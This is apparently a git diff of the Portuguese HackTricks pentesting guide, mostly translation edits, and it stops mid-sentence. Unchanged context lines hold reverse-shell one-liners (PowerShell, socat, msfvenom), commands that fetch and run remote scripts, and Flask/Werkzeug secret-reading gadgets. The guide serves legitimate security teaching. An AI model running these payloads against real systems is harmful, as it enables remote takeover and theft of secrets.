![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) -### Ataque de DoS (Loop Infinito) +### Ataque DoS (Loop Infinito) Código: ```html @@ -105,21 +95,19 @@ while True: print("                              ") ``` -Resultado: - ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/python/python-internal-read-gadgets.md b/generic-methodologies-and-resources/python/python-internal-read-gadgets.md index 7b24aa28c..f8b366c5a 100644 --- a/generic-methodologies-and-resources/python/python-internal-read-gadgets.md +++ b/generic-methodologies-and-resources/python/python-internal-read-gadgets.md @@ -1,36 +1,36 @@ -# Gadgets de Leitura Interna do Python +# Python Internal Read Gadgets {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Informações Básicas -Diferentes vulnerabilidades como [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) ou [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) podem permitir que você **leia dados internos do Python, mas não permitirão que você execute código**. Portanto, um pentester precisará aproveitar ao máximo essas permissões de leitura para **obter privilégios sensíveis e escalar a vulnerabilidade**. +Diferentes vulnerabilidades, como [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) ou [**Class Pollution**](class-pollution-pythons-prototype-pollution.md), podem permitir que você **leia dados internos do python, mas não permitirão que você execute código**. Portanto, um pentester precisará aproveitar ao máximo essas permissões de leitura para **obter privilégios sensíveis e escalar a vulnerabilidade**. ### Flask - Ler chave secreta -A página principal de uma aplicação Flask provavelmente terá o objeto global **`app`** onde esta **chave secreta é configurada**. +A página principal de uma aplicação Flask provavelmente terá o objeto global **`app`** onde esta **chave secreta está configurada**. ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` -Neste caso, é possível acessar este objeto apenas usando qualquer gadget para **acessar objetos globais** da página [**Bypass Python sandboxes**](bypass-python-sandboxes/). +Neste caso, é possível acessar este objeto apenas usando qualquer gadget para **acessar objetos globais** da [**página de Bypass Python sandboxes**](bypass-python-sandboxes/). -No caso em que **a vulnerabilidade está em um arquivo Python diferente**, você precisa de um gadget para percorrer arquivos para chegar ao principal e **acessar o objeto global `app.secret_key`** para alterar a chave secreta do Flask e ser capaz de [**elevar privilégios** conhecendo esta chave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). +No caso em que **a vulnerabilidade está em um arquivo python diferente**, você precisa de um gadget para percorrer arquivos para chegar ao principal e **acessar o objeto global `app.secret_key`** para mudar a chave secreta do Flask e poder [**escalar privilégios** conhecendo esta chave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). -Uma carga útil como esta [deste artigo](https://ctftime.org/writeup/36082): +Uma carga útil como esta [deste writeup](https://ctftime.org/writeup/36082): {% code overflow="wrap" %} ```python @@ -38,32 +38,32 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se ``` {% endcode %} -Use este payload para **alterar `app.secret_key`** (o nome em seu aplicativo pode ser diferente) para poder assinar novos e mais privilégios cookies flask. +Use este payload para **mudar `app.secret_key`** (o nome no seu app pode ser diferente) para poder assinar novos e mais privilegiados cookies do flask. ### Werkzeug - machine\_id e node uuid -[**Usando este payload deste artigo**](https://vozec.fr/writeups/tweedle-dum-dee/) você será capaz de acessar o **machine\_id** e o nó **uuid**, que são os **segredos principais** que você precisa para [**gerar o pin Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md) que você pode usar para acessar o console python em `/console` se o **modo de depuração estiver habilitado:** +[**Usando esses payloads deste writeup**](https://vozec.fr/writeups/tweedle-dum-dee/) você poderá acessar o **machine\_id** e o **uuid** do nó, que são os **principais segredos** que você precisa para [**gerar o pin do Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md) que você pode usar para acessar o console python em `/console` se o **modo de depuração estiver habilitado:** ```python {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id} {ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node} ``` {% hint style="warning" %} -Note que você pode obter o **caminho local dos servidores para o `app.py`** gerando algum **erro** na página da web que irá **mostrar o caminho**. +Observe que você pode obter o **caminho local do servidor para o `app.py`** gerando algum **erro** na página da web que **te dará o caminho**. {% endhint %} -Se a vulnerabilidade estiver em um arquivo Python diferente, verifique o truque anterior do Flask para acessar os objetos do arquivo Python principal. +Se a vulnerabilidade estiver em um arquivo python diferente, verifique o truque Flask anterior para acessar os objetos do arquivo python principal. {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/generic-methodologies-and-resources/python/venv.md b/generic-methodologies-and-resources/python/venv.md index 60857cd37..c4f358d8a 100644 --- a/generic-methodologies-and-resources/python/venv.md +++ b/generic-methodologies-and-resources/python/venv.md @@ -1,8 +1,8 @@ # venv {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/generic-methodologies-and-resources/python/web-requests.md b/generic-methodologies-and-resources/python/web-requests.md index 87b1efea9..e4f420e2e 100644 --- a/generic-methodologies-and-resources/python/web-requests.md +++ b/generic-methodologies-and-resources/python/web-requests.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -122,7 +122,7 @@ term.cmdloop() \ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ -Obtenha Acesso Hoje: +Acesse hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -136,7 +136,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/README.md b/generic-methodologies-and-resources/reverse-shells/README.md index bc9322b0e..1467eb04c 100644 --- a/generic-methodologies-and-resources/reverse-shells/README.md +++ b/generic-methodologies-and-resources/reverse-shells/README.md @@ -8,7 +8,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -47,7 +47,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/expose-local-to-the-internet.md b/generic-methodologies-and-resources/reverse-shells/expose-local-to-the-internet.md index 90758c62b..2a8842f94 100644 --- a/generic-methodologies-and-resources/reverse-shells/expose-local-to-the-internet.md +++ b/generic-methodologies-and-resources/reverse-shells/expose-local-to-the-internet.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -85,8 +85,8 @@ Do [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/l npx localtunnel --port 8000 ``` {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/generic-methodologies-and-resources/reverse-shells/full-ttys.md b/generic-methodologies-and-resources/reverse-shells/full-ttys.md index 65bd6736d..151b27814 100644 --- a/generic-methodologies-and-resources/reverse-shells/full-ttys.md +++ b/generic-methodologies-and-resources/reverse-shells/full-ttys.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -23,7 +23,7 @@ Aprofunde sua experiência em **Segurança Móvel** com a 8kSec Academy. Domine ## Full TTY -Observe que o shell que você define na variável `SHELL` **deve** estar **listado dentro** de _**/etc/shells**_ ou `O valor da variável SHELL não foi encontrado no arquivo /etc/shells Este incidente foi relatado`. Além disso, note que os próximos trechos funcionam apenas no bash. Se você estiver em um zsh, mude para um bash antes de obter o shell executando `bash`. +Note que o shell que você definir na variável `SHELL` **deve** estar **listado dentro** de _**/etc/shells**_ ou `O valor da variável SHELL não foi encontrado no arquivo /etc/shells Este incidente foi relatado`. Além disso, note que os próximos trechos funcionam apenas no bash. Se você estiver em um zsh, mude para um bash antes de obter o shell executando `bash`. #### Python @@ -73,7 +73,7 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -Uma maneira conveniente de **acesso a shell interativo**, bem como **transferências de arquivos** e **encaminhamento de portas**, é implantar o servidor ssh estáticamente vinculado [ReverseSSH](https://github.com/Fahrj/reverse-ssh) no alvo. +Uma maneira conveniente para **acesso a shell interativo**, bem como **transferências de arquivos** e **encaminhamento de portas**, é implantar o servidor ssh estáticamente vinculado [ReverseSSH](https://github.com/Fahrj/reverse-ssh) no alvo. Abaixo está um exemplo para `x86` com binários comprimidos com upx. Para outros binários, verifique a [página de lançamentos](https://github.com/Fahrj/reverse-ssh/releases/latest/). @@ -110,7 +110,7 @@ reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` {% endcode %} -* Se o pedido de encaminhamento de porta ReverseSSH foi bem-sucedido, você deve agora ser capaz de fazer login com a senha padrão `letmeinbrudipls` no contexto do usuário que está executando `reverse-ssh(.exe)`: +* Se o pedido de encaminhamento de porta ReverseSSH foi bem-sucedido, você deve agora conseguir fazer login com a senha padrão `letmeinbrudipls` no contexto do usuário que está executando `reverse-ssh(.exe)`: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -142,7 +142,7 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** diff --git a/generic-methodologies-and-resources/reverse-shells/linux.md b/generic-methodologies-and-resources/reverse-shells/linux.md index ec669105f..5543b65dc 100644 --- a/generic-methodologies-and-resources/reverse-shells/linux.md +++ b/generic-methodologies-and-resources/reverse-shells/linux.md @@ -10,7 +10,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} @@ -60,7 +60,7 @@ wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s ``` ## Forward Shell -Ao lidar com uma **vulnerabilidade de Execução Remota de Código (RCE)** em uma aplicação web baseada em Linux, alcançar um reverse shell pode ser obstruído por defesas de rede, como regras do iptables ou mecanismos complexos de filtragem de pacotes. Em tais ambientes restritos, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz. +Ao lidar com uma **vulnerabilidade de Execução Remota de Código (RCE)** em uma aplicação web baseada em Linux, alcançar um reverse shell pode ser obstruído por defesas de rede como regras do iptables ou mecanismos complexos de filtragem de pacotes. Em tais ambientes restritos, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz. Uma ferramenta recomendada para esse propósito é [toboggan](https://github.com/n3rada/toboggan.git), que simplifica a interação com o ambiente alvo. @@ -92,7 +92,7 @@ E então, você pode executar: ```shell toboggan -m nix.py -i ``` -Para aproveitar diretamente um shell interativo. Você pode adicionar `-b` para integração com o Burpsuite e remover o `-i` para um wrapper rce mais básico. +Para aproveitar diretamente um shell interativo. Você pode adicionar `-b` para integração com Burpsuite e remover o `-i` para um wrapper rce mais básico. Outra possibilidade consiste em usar a implementação de shell forward do `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). @@ -318,7 +318,7 @@ Xnest :1 ``` ## Groovy -por [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: O reverse shell em Java também funciona para Groovy +por [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTA: O reverse shell Java também funciona para Groovy ```bash String host="localhost"; int port=8044; @@ -342,7 +342,7 @@ Aprenda e pratique Hacking GCP: {% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/msfvenom.md b/generic-methodologies-and-resources/reverse-shells/msfvenom.md index 72853ff19..7e76f173d 100644 --- a/generic-methodologies-and-resources/reverse-shells/msfvenom.md +++ b/generic-methodologies-and-resources/reverse-shells/msfvenom.md @@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP:
-Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs! +Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) servidor para se comunicar com hackers experientes e caçadores de bugs! **Insights de Hacking**\ Engaje-se com conteúdo que explora a emoção e os desafios do hacking @@ -67,8 +67,6 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` -{% endcode %} - ### Criar Usuário {% code overflow="wrap" %} @@ -83,6 +81,8 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` +{% endcode %} + ### **Executar Comando** {% code overflow="wrap" %} @@ -98,7 +98,7 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco ``` {% endcode %} -### Embutido dentro do executável +### Incorporado dentro do executável {% code overflow="wrap" %} ```bash @@ -141,7 +141,7 @@ msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ma ``` {% endcode %} -### **Shell de Ligação** +### **Bind Shell** {% code overflow="wrap" %} ```bash @@ -211,11 +211,7 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` -{% endcode %} - ### **Bash** - -{% code overflow="wrap" %} ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` @@ -232,7 +228,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real **Últimos Anúncios**\ -Fique informado sobre as novas recompensas por bugs que estão sendo lançadas e atualizações cruciais da plataforma +Fique informado sobre os novos programas de recompensas por bugs que estão sendo lançados e atualizações cruciais da plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje! diff --git a/generic-methodologies-and-resources/reverse-shells/windows.md b/generic-methodologies-and-resources/reverse-shells/windows.md index ee8346e34..0a0032469 100644 --- a/generic-methodologies-and-resources/reverse-shells/windows.md +++ b/generic-methodologies-and-resources/reverse-shells/windows.md @@ -1,23 +1,23 @@ # Shells - Windows {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} ## Lolbas -A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para Linux.\ +A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para linux.\ Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (ab)usados para realizar algum tipo de ações inesperadas, como **executar código arbitrário.** ## NC @@ -99,13 +99,13 @@ Payload escrito no disco: **NÃO** (_pelo menos em nenhum lugar que eu consegui powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` Processo realizando chamada de rede: **svchost.exe**\ -Payload escrito no disco: **Cache local do cliente WebDAV** +Carga útil escrita no disco: **Cache local do cliente WebDAV** **Uma linha:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` -**Obtenha mais informações sobre diferentes shells do Powershell no final deste documento** +**Obtenha mais informações sobre diferentes Shells do Powershell no final deste documento** ## Mshta @@ -391,7 +391,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -Na pasta **Shells**, há muitas shells diferentes. Para baixar e executar Invoke-_PowerShellTcp.ps1_, faça uma cópia do script e anexe ao final do arquivo: +Na pasta **Shells**, há muitas shells diferentes. Para baixar e executar Invoke-_PowerShellTcp.ps1_, faça uma cópia do script e adicione ao final do arquivo: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` @@ -446,7 +446,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Crie uma versão em powershell do backdoor do metasploit usando o unicorn +Crie uma versão em powershell do backdoor do metasploit usando unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` @@ -462,9 +462,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## Mais -[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos PS ofensivos pré-carregados (cifrado)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS com alguns módulos ofensivos de PS pré-carregados (cifrado)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos PS ofensivos e detecção de proxy (IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) console PS com alguns módulos ofensivos de PS e detecção de proxy (IEX) ## Referências diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index ccb093a40..86e0297b5 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -1,8 +1,8 @@ # Search Exploits {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -18,7 +18,7 @@ Aprenda e pratique Hacking GCP:
\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ +Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) para construir e **automatizar fluxos de trabalho** facilmente com as **ferramentas** da comunidade **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} @@ -27,7 +27,7 @@ Acesse hoje: Sempre pesquise em "google" ou outros: **\ \[version] exploit** -Você também deve tentar a **pesquisa de exploits shodan** em [https://exploits.shodan.io/](https://exploits.shodan.io). +Você também deve tentar a **pesquisa de exploits do shodan** em [https://exploits.shodan.io/](https://exploits.shodan.io). ### Searchsploit diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index 10feb9f5e..9a37d8eae 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -13,15 +13,15 @@ Bem-vindo ao guia abrangente da HackTricks sobre Modelagem de Ameaças! Embarque Um Modelo de Ameaça é tipicamente representado como um diagrama, imagem ou alguma outra forma de ilustração visual que retrata a arquitetura planejada ou a construção existente de uma aplicação. Ele se assemelha a um **diagrama de fluxo de dados**, mas a principal distinção reside em seu design orientado à segurança. -Modelos de ameaças frequentemente apresentam elementos marcados em vermelho, simbolizando vulnerabilidades, riscos ou barreiras potenciais. Para simplificar o processo de identificação de riscos, emprega-se a tríade CIA (Confidencialidade, Integridade, Disponibilidade), que forma a base de muitas metodologias de modelagem de ameaças, sendo o STRIDE uma das mais comuns. No entanto, a metodologia escolhida pode variar dependendo do contexto e requisitos específicos. +Modelos de ameaças frequentemente apresentam elementos marcados em vermelho, simbolizando vulnerabilidades, riscos ou barreiras potenciais. Para simplificar o processo de identificação de riscos, o triângulo CIA (Confidencialidade, Integridade, Disponibilidade) é empregado, formando a base de muitas metodologias de modelagem de ameaças, sendo o STRIDE uma das mais comuns. No entanto, a metodologia escolhida pode variar dependendo do contexto e requisitos específicos. -### A Tríade CIA +### O Triângulo CIA -A Tríade CIA é um modelo amplamente reconhecido no campo da segurança da informação, representando Confidencialidade, Integridade e Disponibilidade. Esses três pilares formam a base sobre a qual muitas medidas e políticas de segurança são construídas, incluindo metodologias de modelagem de ameaças. +O Triângulo CIA é um modelo amplamente reconhecido no campo da segurança da informação, representando Confidencialidade, Integridade e Disponibilidade. Esses três pilares formam a base sobre a qual muitas medidas e políticas de segurança são construídas, incluindo metodologias de modelagem de ameaças. 1. **Confidencialidade**: Garantir que os dados ou sistemas não sejam acessados por indivíduos não autorizados. Este é um aspecto central da segurança, exigindo controles de acesso apropriados, criptografia e outras medidas para prevenir vazamentos de dados. 2. **Integridade**: A precisão, consistência e confiabilidade dos dados ao longo de seu ciclo de vida. Este princípio garante que os dados não sejam alterados ou manipulados por partes não autorizadas. Frequentemente envolve somas de verificação, hashing e outros métodos de verificação de dados. -3. **Disponibilidade**: Isso garante que dados e serviços estejam acessíveis a usuários autorizados quando necessário. Isso frequentemente envolve redundância, tolerância a falhas e configurações de alta disponibilidade para manter os sistemas em funcionamento mesmo diante de interrupções. +3. **Disponibilidade**: Isso garante que dados e serviços estejam acessíveis a usuários autorizados quando necessário. Isso frequentemente envolve redundância, tolerância a falhas e configurações de alta disponibilidade para manter os sistemas funcionando mesmo diante de interrupções. ### Metodologias de Modelagem de Ameaças @@ -34,7 +34,7 @@ A Tríade CIA é um modelo amplamente reconhecido no campo da segurança da info ## Ferramentas -Existem várias ferramentas e soluções de software disponíveis que podem **ajudar** na criação e gestão de modelos de ameaças. Aqui estão algumas que você pode considerar. +Existem várias ferramentas e soluções de software disponíveis que podem **ajudar** na criação e gerenciamento de modelos de ameaças. Aqui estão algumas que você pode considerar. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) @@ -52,7 +52,7 @@ Uma avançada 